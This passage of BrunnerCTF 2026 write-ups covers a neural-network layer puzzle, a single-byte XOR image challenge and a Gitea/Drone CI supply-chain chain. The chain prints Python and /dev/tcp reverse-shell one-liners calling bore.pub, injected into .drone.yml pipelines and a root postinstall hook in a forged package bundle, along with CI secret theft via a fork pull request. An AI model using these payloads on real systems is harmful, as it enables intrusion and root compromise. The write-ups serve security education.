    print(f"[+] Output: {flag}")
except Exception as e:
    print(f"[-] Execution failed: {e}")

Key Vulnerabilities / Design Weaknesses

#	Weakness	Impact
1	`forward()` never invokes any of the six pretrained layers	Secret is inert until the layers are wired together in the right order
2	Correct layer order is fully recoverable from public `in_features`/`out_features`	No guesswork needed - dimensions uniquely determine the one valid chain
3	No activation function between layers	A stack of pure `Linear` layers is mathematically equivalent to one `Linear` layer; without a nonlinearity, "combining the layers" alone would still leave the network mathematically inert to certain analysis approaches, and the challenge deliberately withholds ReLU as the missing step
4	Secret encoded as raw ASCII via `chr(round(x))`	Once forward() is correctly wired, no further cryptography protects the output

Attack Chain

+-----------------------------+
| Six named Linear layers,     |
| all pretrained, forward()    |
| does nothing                 |
+---------------+---------------+
                |
                v
+-----------------------------+
| Read in_features/out_features|
| of each layer                |
+---------------+---------------+
                |
                v
+-----------------------------+
| Find the one ordering where  |
| output size of each layer    |
| matches input size of next:  |
| quokka->zephyr->vortex       |
| ->thistle->ember->nimbus     |
+---------------+---------------+
                |
                v
+-----------------------------+
| Insert ReLU ("yeast") after  |
| each layer to break linearity|
+---------------+---------------+
                |
                v
+-----------------------------+
| Run on dummy zero input,     |
| round outputs, chr() each    |
+---------------+---------------+
                |
                v
+-----------------------------+
| Flag recovered               |
+-----------------------------+

Mitigations (if this were a real system rather than a CTF)

Don't rely on an unwired/incomplete forward() as a security boundary - anyone who can read the class definition can trivially reconstruct valid chains from the declared layer shapes.
Avoid naming layers or leaving dimension signatures that uniquely determine a hidden computation graph; a real protection scheme shouldn't be reconstructible from public metadata alone.
If a secret must be embedded in a model, keep the "correct" execution graph (and its input) out of any distributed artifact, and don't leave a fixed, guessable input (a zero vector) as the trigger.

Files

half_baked.py - original challenge file
half_baked_fixed.py - patched version with the layers chained in dimension order and ReLU activations restored between them

BrunnerCTF 2026 : Magic or Not Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 16:01:59 +0000

Summary

The challenge provides four files (Brunner1.jpg, Brunner2.gif,
Brunner3.png, Brunner4.bmp) that all report as generic data under
file - none of them start with the magic bytes their extension implies.
Each file turns out to be a valid image of its stated format XOR'd with a
single repeating byte. Recovering the four keys and XOR-decoding each file
restores four vertical slices of one picture, which stitch together into a
single wide banner image containing the flag as plain text.

1. Recon - the files don't match their extensions

$ file Brunner1.jpg Brunner2.gif Brunner3.png Brunner4.bmp
Brunner1.jpg: data
Brunner2.gif: data
Brunner3.png: data
Brunner4.bmp: data

None of them are recognized. Dumping the first bytes of each is the
giveaway - "cutting-edge obfuscation" is a red flag for custom crypto, and
the security team's hunch pans out immediately:

Brunner1.jpg first bytes: a7 80 a7 b3 7b 42 12 08 41 58 58 58 58 59 58 58 ...
Brunner2.gif first bytes: 10 1e 11 6f 36 e9 57 d7 54 a0 57 57 57 57 57 57 ...
Brunner3.png first bytes: d0 09 17 1e 54 53 43 53 59 59 59 54 10 11 1d 0b ...
Brunner4.bmp first bytes: 18 17 d0 d4 4b 5a 5a 5a 5a 5a d0 5a 5a 5a 26 5a ...

Each file has long runs of a single repeated byte (58, 57, 59, 5a -
i.e. ASCII X, W, Y, Z). Long constant runs after XOR strongly
suggest a single-byte XOR cipher applied over image data that itself
contains long runs of a constant byte (e.g. padding, or solid-color pixel
regions) - the "obfuscation algorithm" is a one-byte XOR "cipher."

2. Recovering the key per file

Each filename tells us the plaintext format to expect, so the known-magic
attack applies directly: XOR each file's header against the expected
signature for that format and see which single byte reproduces it.

sigs = {
    'Brunner1.jpg': bytes.fromhex('ffd8ff'),        # JPEG SOI + marker
    'Brunner2.gif': b'GIF89a',
    'Brunner3.png': bytes.fromhex('89504e470d0a1a0a'),
    'Brunner4.bmp': b'BM',
}
for fname, sig in sigs.items():
    data = open(fname, 'rb').read()
    for key in range(256):
        if bytes(b ^ key for b in data[:len(sig)]) == sig:
            print(fname, hex(key))

Results:

File	Recovered key
Brunner1.jpg	`0x58`
Brunner2.gif	`0x57`
Brunner3.png	`0x59`
Brunner4.bmp	`0x5a`

(Note these are exactly the repeated bytes spotted in step 1 - the "custom
crypto" leaks its own key in plaintext wherever the underlying image has a
run of constant-value pixels.)

3. Decoding

XOR each full file against its own single-byte key:

keys = {
    'Brunner1.jpg': 0x58,
    'Brunner2.gif': 0x57,
    'Brunner3.png': 0x59,
    'Brunner4.bmp': 0x5a,
}
for fname, key in keys.items():
    data = open(fname, 'rb').read()
    dec = bytes(b ^ key for b in data)
    open('decoded_' + fname, 'wb').write(dec)

$ file decoded_*
decoded_Brunner1.jpg: JPEG image data, ... 642x896, components 3
decoded_Brunner2.gif: GIF image data, version 89a, 190 x 896
decoded_Brunner3.png: PNG image data, 68 x 896, 8-bit/color RGBA
decoded_Brunner4.bmp: PC bitmap, ... 321 x 896 x 32 ...

All four decode to valid images of their claimed format. Every image has
the same height (896 px) but a different width - a strong hint they are
vertical slices of one wider picture, meant to be reassembled side by side.

4. Reassembling the image

from PIL import Image

imgs = ['decoded_Brunner1.jpg', 'decoded_Brunner2.gif',
        'decoded_Brunner3.png', 'decoded_Brunner4.bmp']
ims = [Image.open(i).convert('RGB') for i in imgs]

canvas = Image.new('RGB', (sum(im.width for im in ims), ims[0].height))
x = 0
for im in ims:
    canvas.paste(im, (x, 0))
    x += im.width
canvas.save('stitched.png')

Pasting the slices in filename order (1, 2, 3, 4) produces a single
1221x896 image straight away - a flag banner with the text baked directly
into the picture:

brunner{ctf2026}

Full solve script

from PIL import Image

# 1. Recover per-file single-byte XOR key via known-plaintext (file magic bytes)
sigs = {
    'Brunner1.jpg': bytes.fromhex('ffd8ff'),        # JPEG SOI + marker
    'Brunner2.gif': b'GIF89a',
    'Brunner3.png': bytes.fromhex('89504e470d0a1a0a'),
    'Brunner4.bmp': b'BM',
}

keys = {}
for fname, sig in sigs.items():
    data = open(fname, 'rb').read()
    for key in range(256):
        if bytes(b ^ key for b in data[:len(sig)]) == sig:
            keys[fname] = key
            break

print("Recovered keys:", {k: hex(v) for k, v in keys.items()})

# 2. XOR-decode each full file with its recovered key
decoded_names = []
for fname, key in keys.items():
    data = open(fname, 'rb').read()
    dec = bytes(b ^ key for b in data)
    out = 'decoded_' + fname
    open(out, 'wb').write(dec)
    decoded_names.append(out)

# 3. Stitch the decoded slices together horizontally, in filename order
imgs = ['decoded_Brunner1.jpg', 'decoded_Brunner2.gif',
        'decoded_Brunner3.png', 'decoded_Brunner4.bmp']
ims = [Image.open(i).convert('RGB') for i in imgs]

canvas = Image.new('RGB', (sum(im.width for im in ims), ims[0].height))
x = 0
for im in ims:
    canvas.paste(im, (x, 0))
    x += im.width
canvas.save('stitched.png')

print("Saved stitched.png -- flag is visible as text in the image.")

Key Vulnerabilities

#	Weakness	Impact
1	Single-byte XOR is the entire "obfuscation algorithm"	Trivially breakable via known-plaintext (file magic bytes) attack
2	Same key reused across the whole file	Any run of repeated plaintext bytes (padding, flat color) leaks the key directly in the ciphertext
3	Image split into slices without further protection	Once each slice decodes, correct reassembly order is discoverable from filenames/dimensions alone

Attack Chain

+-----------------------------+
| 4 files, wrong-looking       |
| magic bytes for their        |
| extensions                   |
+---------------+---------------+
                |
                v
+-----------------------------+
| Spot repeated single bytes   |
| in each file -> single-byte  |
| XOR "cipher"                 |
+---------------+---------------+
                |
                v
+-----------------------------+
| Known-plaintext attack:      |
| XOR header vs expected magic |
| bytes for each format        |
| -> recover key per file      |
+---------------+---------------+
                |
                v
+-----------------------------+
| XOR-decode full files ->     |
| 4 valid images, same height, |
| different widths              |
+---------------+---------------+
                |
                v
+-----------------------------+
| Stitch slices horizontally   |
| in filename order             |
+---------------+---------------+
                |
                v
+-----------------------------+
| Flag banner image recovered  |
+-----------------------------+

Mitigations

Never invent custom cryptographic primitives; use vetted, standard algorithms (AES-GCM, ChaCha20-Poly1305, etc.) for confidentiality.
Single-byte (or any short repeating-key) XOR provides no real security - it is broken by trivial known-plaintext or frequency analysis.
If data must be split, don't leave filenames or metadata (dimensions, ordering) that reveal how to reassemble it.
Any "obfuscation" that reuses a fixed key across an entire file is vulnerable the moment any portion of the plaintext is guessable - image file headers and padding are always guessable.

Files

decoded_Brunner1.jpg, decoded_Brunner2.gif, decoded_Brunner3.png, decoded_Brunner4.bmp - individually XOR-decoded slices
stitched.png - final reassembled flag banner

BrunnerCTF 2026 : The Three Ways Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:56:08 +0000

Summary

Two connected challenges built around the same Gitea/Drone/rollout-agent environment. The first stage (Flow) gets code execution on the Drone CI runner. The second stage (Feedback / Continuous Improvement) escalates that into root on the box running Brunnerne's autonomous, unsigned rollout agent. Along the way there's also a bonus flag hidden in the package registry's version history, found while sweeping for leftovers after the main chain was already solved.

Recon

The target is a Gitea instance:

https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz

The challenge description ("onboarding note left behind the printer") supplied initial credentials for a low-privilege developer account:

brunner_dev : dev_go_brr

The first thing I tried was just hitting /sign-in, guessing at the login path - that 404'd, because Gitea's actual route is /user/login, not /sign-in. That path only showed up once I grepped the homepage for the "Sign In" link:

curl https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz | grep sign

Gitea rotates its CSRF token per request and ties it to whatever session cookie you're carrying at the time, so logging in via curl means fetching a fresh token from a GET to /user/login and then reusing that same cookie jar for the POST - otherwise the token won't match the session Gitea has on file and you'll get a 400. The first time through this I made the mistake of running the GET and POST as two completely separate curl invocations without sharing a cookie jar, and it failed every time with a fresh CSRF token that didn't match. The fix was chaining everything through one jar:

curl -s -c cookies.txt -b cookies.txt \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  -o login_page.html

CSRF=$(grep -oP '(?<=name="_csrf" value=")[^"]+' login_page.html)

curl -s -c cookies.txt -b cookies.txt \
  -X POST 'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode 'user_name=brunner_dev' \
  --data-urlencode 'password=dev_go_brr' \
  -D - -o response.html

Rather than deal with the cookie/CSRF dance at all for read-only recon, it turned out simpler to just use Gitea's Basic Auth support directly against the API - brunner_dev's credentials work as HTTP Basic Auth on any /api/v1/... endpoint, no session or token needed:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/user'

That confirmed the account worked and returned its profile JSON. Checking the account's own repo page (/brunner_dev) showed "No matching repositories found" - the account itself owns nothing, which made sense for a "minimal access" contractor. The actual repos existed elsewhere, and the way to find them regardless of ownership was Gitea's cross-owner repo search endpoint:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'

That returned two repos brunner_dev could see:

brunner_ops/ci-bootstrap (Shell)
brunner_admin/hello-drone (Python, has a .drone.yml pipeline)

Stage 1 - Flow

Finding a second credential in git history

ci-bootstrap's repo page showed only 2 commits, and the current one was titled "read the ci password from the environment" - that phrasing alone is a strong tell that something got refactored out of hardcoded plaintext and into an env var, which usually means the plaintext value is still sitting in the previous commit. Pulling the commit list confirmed there were exactly two commits to check:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/ci-bootstrap/commits?limit=10' | jq '.[] | {sha, message: .commit.message}'

Rather than clone the whole repo just to diff two commits, Gitea serves unified diffs directly at /commit/<sha>.diff over HTTP, so the fastest path was just fetching that:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ops/ci-bootstrap/commit/ec5ccfcb240129041410db0e12b50b9e8a9245e6.diff'

The diff showed exactly what the commit message implied - a plaintext GITEA_PASSWORD for a CI service account, replaced in this same commit with an env-var reference, meaning the plaintext value only ever existed in the parent commit and was never actually rotated:

GITEA_USER=brunner_ci
GITEA_PASSWORD=9d41c07be5a8426fa3c15b2e70f8d63a

Privilege check

With the new credential in hand, the same repos/search trick was run again, this time authenticated as brunner_ci, to see what changed:

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'

brunner_ci could now see one additional, private repo - brunner_ops/deploy-tools - on top of the same two public ones brunner_dev had access to. That confirmed brunner_ci had push access on the public hello-drone repo (which has an active Drone pipeline) and at least pull access on the private deploy-tools.

CI pipeline abuse -> shell

hello-drone's .drone.yml ran on every push with no review gate:

kind: pipeline
type: exec
name: default
platform:
  os: linux
  arch: amd64
steps:
  - name: test
    commands:
      - python -m unittest discover -v
  - name: build
    commands:
      - python app.py
  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"

type: exec pipelines run raw shell commands directly on the runner host - no container isolation. The app.py in the repo itself was a harmless fizzbuzz sample, so the actual payload was smuggling a new step into the pipeline config. The first attempt at a reverse shell used bash's /dev/tcp/... pseudo-device, which is a common one-liner but assumes bash is actually the shell running the step - it failed here because the runner's sh resolves to dash, which doesn't implement that construct:

line 5: can't create /dev/tcp/bore.pub/54872: nonexistent directory

Since the build step already proved python/python3 was available on the runner, switching to a Python socket one-liner sidestepped the shell-dialect problem entirely:

  - name: shell
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Pushing that as brunner_ci (who had push access to hello-drone) triggered a build automatically:

git add .drone.yml
git commit -m "python reverse shell"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_admin/hello-drone.git main

The listener caught a shell as drone (uid 1000):

id
uid=1000(drone) gid=1000(drone) groups=1000(drone)

The flag for this stage sat directly in the CI user's home directory:

cat /home/drone/flag.txt

brunner{4ch13v3_4bs0lut3_fl0w_st4t3}

Stage 2 - Feedback / Continuous Improvement

The target: an unsigned autonomous rollout agent

Enumerating the box from the drone shell turned up /usr/local/bin/rollout-agent.py, running as PID 28 under root. It was world-readable, so reading the source directly showed its full logic:

Polls a Gitea generic package registry (brunner_registry/rollout-bundle) every 30 seconds
Picks the highest version number it hasn't already installed (newest() does numeric-chunk comparison, so 2.0.0 beats 1.10.0 correctly rather than comparing as strings)
Downloads the tarball, extracts it, and validates it against three checks only:
1. manifest.json package/version fields match
2. Every shipped file appears in a SHA256SUMS file with a matching hash - self-generated by whoever uploads the bundle, so trivially satisfiable by anyone with upload access
3. No symlinks, no path traversal
Runs hooks/postinstall from the bundle as root, with a 60-second timeout
No signature verification anywhere in the chain

The challenge description spells this out directly: "it's tireless, it's trusting and it runs with the utmost privilege... signing artifacts... added that to the backlog."

/etc/platform/registry.conf was also world-readable and gave the registry endpoint and org name. /etc/platform/rollout.conf - the file actually holding the REGISTRY_USER/REGISTRY_PASSWORD the agent authenticates with - was locked to 600 root:root, so it wasn't reachable from the drone shell.

Getting registry write access

Neither brunner_dev nor brunner_ci had package-write on the brunner_registry org - every upload attempt came back with reqPackageAccess, tried both with basic-auth and with a freshly minted API token, ruling out a token-scope problem and pointing at org membership itself being the blocker.

The deploy-tools repo's README (readable via the brunner_ci pull-only clone) spelled out the intended path:

Tooling for building and verifying rollout bundles. Read-only members can open pull requests.

Gitea allows forking and opening a pull request even with pull-only access on the base repo. Combined with the fact that Drone injects the target repo's secrets into PR-triggered builds - even when the PR originates from a fork with no push access to the base repo - that's a way to get a CI job to run with deploy-tools's secrets using only pull rights:

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/forks"

git clone https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git
cd deploy-tools && git checkout -b pwn

The verify-release step in .drone.yml was the one scoped with REGISTRY_TOKEN: from_secret: registry_token, so that's the step whose command got swapped for the same reverse-shell one-liner from Stage 1, just on a fresh listener port:

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

git add .drone.yml && git commit -m "test release verification"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git pwn

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  -d '{"head":"brunner_ci:pwn","base":"main","title":"test release verification"}' \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/pulls"

Opening the PR triggered a Drone build against the base repo. The catch showed up in the listener, and critically, dumping the process environment inside that reverse shell showed the secret sitting in the clear:

DRONE_BUILD_EVENT=pull_request
DRONE_COMMIT_REF=refs/pull/2/head
REGISTRY_TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23

The challenge description's claim that "our logs are appropriately redacted" only holds for literal string matches in captured stdout - Drone's log masking replaces known secret values with *** when they appear verbatim in the build's logged output. A reverse shell session bypasses that pipeline completely, since nothing about an interactive shell session gets routed through Drone's log capture - the token was visible directly in the process environment rather than ever being scrubbed.

Building and uploading a malicious bundle

With REGISTRY_TOKEN in hand, the next step was assembling a bundle that would pass rollout-agent.py's validation, matching the same directory structure make-bundle.sh in deploy-tools produces (manifest, hooks directory, self-generated SHA256SUMS):

mkdir -p /tmp/evilsrc/hooks
cat > /tmp/evilsrc/hooks/postinstall << 'EOF'
#!/bin/sh
setsid python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' < /dev/null > /dev/null 2>&1 &
disown
exit 0
EOF
chmod +x /tmp/evilsrc/hooks/postinstall

WORK=$(mktemp -d)
mkdir -p "$WORK/bundle/hooks"
cp /tmp/evilsrc/hooks/postinstall "$WORK/bundle/hooks/"

cat > "$WORK/bundle/manifest.json" << 'EOF'
{
  "package": "rollout-bundle",
  "version": "2.6.0",
  "hooks": { "postinstall": "hooks/postinstall" }
}
EOF

( cd "$WORK/bundle" && find . -type f -exec sha256sum {} \; | sort -k2 ) > "$WORK/bundle/SHA256SUMS"

tar -czf /tmp/dist/rollout-bundle-2.6.0.tar.gz -C "$WORK" bundle

curl -s -H "Authorization: token $REGISTRY_TOKEN" \
  --upload-file /tmp/dist/rollout-bundle-2.6.0.tar.gz \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic/rollout-bundle/2.6.0/rollout-bundle-2.6.0.tar.gz"

The first attempt (uploaded as version 2.5.0) failed silently after 60 seconds. The hook ran an interactive reverse shell directly in the foreground of the hook script, which meant the hook script's own process never returned - it just sat blocked on the shell. rollout-agent.py enforces a HOOK_TIMEOUT = 60, so once that window passed the agent killed the whole process tree, shell included, before it could be used for anything:

2026-08-23T05:43:39Z postinstall for 2.5.0 timed out after 60s

The fix was detaching the reverse shell from the hook script entirely: setsid ... & starts it in a new session so it isn't a child the parent waits on, disown removes it from the parent shell's job table, redirecting stdin/stdout/stderr away from the parent stops the hook from blocking on those file descriptors either, and an immediate exit 0 lets the hook script itself return cleanly well inside the 60-second window - the backgrounded shell just keeps running on its own after the hook process (and the agent's wait on it) has already finished.

Root

The agent picked up 2.6.0 on its next 30-second poll, validated the self-generated checksums (which will always pass, since nothing checks who generated them), and ran the hook as root:

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

cat /root/flag.txt

brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}

Bonus: a third flag hidden in the package registry's version history

After landing root, I went back and did a sweep for anything left over - old build logs, prior package versions, other endpoints - on the theory that a challenge built this deliberately around CI/CD supply-chain weaknesses might have planted something extra in the history rather than just the final state. This wasn't part of the intended privilege chain; it just seemed worth checking given how much of the challenge revolved around things surviving in history that were supposed to be gone (the git-history password being the obvious precedent).

The Gitea session used earlier for the login-form flow had gone stale, so the first block just re-establishes both a Gitea session cookie (needed for some UI-only Drone SSO flow) and a separate Drone session, chaining the Gitea login redirect into Drone's OAuth-style login:

TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23
GITEA=https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz
DRONE=https://drone-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz

# Refresh drone session
rm -f /tmp/cj.txt /tmp/cj2.txt
curl -s -c /tmp/cj.txt "$GITEA/user/login" -o /tmp/lp.html
CSRF=$(python3 -c "import re; print(re.search(r'name=\"_csrf\" value=\"([^\"]+)\"', open('/tmp/lp.html').read()).group(1))")
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -L -d "_csrf=$CSRF&user_name=brunner_ci&password=9d41c07be5a8426fa3c15b2e70f8d63a" "$GITEA/user/login" -o /dev/null
curl -s -b /tmp/cj.txt -c /tmp/cj2.txt -D /tmp/h1.txt -o /dev/null "$DRONE/login"
LOC1=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h1.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -D /tmp/h2.txt -o /dev/null "$LOC1"
LOC2=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h2.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj2.txt -c /tmp/cj2.txt -L -o /dev/null "$LOC2"

Drone's session cookie only gets set at the end of that OAuth-style redirect chain, so each Location: header has to be followed by hand into the next request rather than just letting -L auto-follow, because the intermediate hops need the Gitea cookie jar and the final hop needs the Drone cookie jar - mixing them up meant getting bounced back to a login page instead of an authenticated session.

With a working Drone session, the next block walks every build on every repo that had ever run a pipeline, and for each build, tries fetching the logs of each of the first six steps, grepping for anything matching the flag format:

echo '=== drone builds all logs grep ==='
for repo in brunner_ops/deploy-tools brunner_admin/hello-drone brunner_ci/deploy-tools; do
  builds=$(curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds" 2>/dev/null)
  echo "REPO $repo: $(echo "$builds" | head -c 80)"
  nums=$(echo "$builds" | python3 -c 'import sys,json
try:
 d=json.load(sys.stdin)
 print(" ".join(str(b["number"]) for b in d[:15]))
except: pass' 2>/dev/null)
  for n in $nums; do
    for s in 1 2 3 4 5 6; do
      curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds/$n/logs/1/$s" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HIT $repo build $n step $s: $f"; done
    done
  done
done

That came back empty - brunner_ci/deploy-tools (the forked copy) wasn't even registered as a repo in Drone (Not Found), and no build log on the other two repos contained a flag. That ruled out the build-log angle entirely and pointed the search toward the package registry itself, since rollout-agent.py had been pulling numbered versions from brunner_registry/rollout-bundle the whole time and I'd only ever uploaded and inspected 2.6.0. It seemed reasonable that earlier versions in that same package history - version numbers the agent had presumably cycled through before I ever got registry access - might have something stashed inside them from whoever set up the challenge:

The version list here (1.4.0 through 2.5.0) was just a guess at a plausible release cadence rather than anything discovered - the agent's own newest() logic and the versions already seen (2.5.0 was the one that hit the hook timeout, 2.6.0 was the one that finally worked) suggested the registry had been seeded with a handful of prior releases before I ever touched it. Each version was checked individually - download the tarball, confirm it's actually valid gzip (a 404 for a version that never existed comes back as an error body, not a tarball, and tar -tzf fails cleanly on that rather than choking), then extract and grep for anything matching the flag format:

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.0/rollout-bundle-1.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.2/rollout-bundle-1.4.2.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.5.0/rollout-bundle-1.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.0.0/rollout-bundle-2.0.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.1.0/rollout-bundle-2.1.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.2.0/rollout-bundle-2.2.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.3.0/rollout-bundle-2.3.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.4.0/rollout-bundle-2.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.5.0/rollout-bundle-2.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

Every version came back empty except 1.4.2 - a version that had never come up anywhere in the main chain, meaning it must have been part of the environment's seeded history rather than anything either the agent or I had uploaded:

PKG 1.4.2: /tmp/pkgextract/bundle/config/deploy.env:brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}

The last block was just closing out the sweep - checking a few obvious Gitea API/static paths and re-fetching a handful of HTML pages for anything that looked like a flag pattern, mostly to make sure nothing else was sitting in plain sight before calling the search done:

echo '=== gitea API search various endpoints ==='
for path in \
  '/api/v1/version' \
  '/api/v1/user' \
  '/assets/licenses.txt' \
  '/api/swagger'
 do
  curl -s -H "Authorization: token $TOKEN" "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | head
done

for path in '/' '/explore/repos' '/brunner_ops/deploy-tools' '/brunner_admin/hello-drone'; do
  curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HTML $path: $f"; done
done

Those came back empty, confirming the 1.4.2 bundle was the only extra flag sitting in the environment. Its content (no_secrets_are_too_secret_for_u) reads as a wink at the whole registry-history angle - the same "old versions never really go away" theme as the git-history credential from Stage 1, just relocated to the package registry instead of git.

Full chain summary

Onboarding note leaked plaintext creds -> brunner_dev
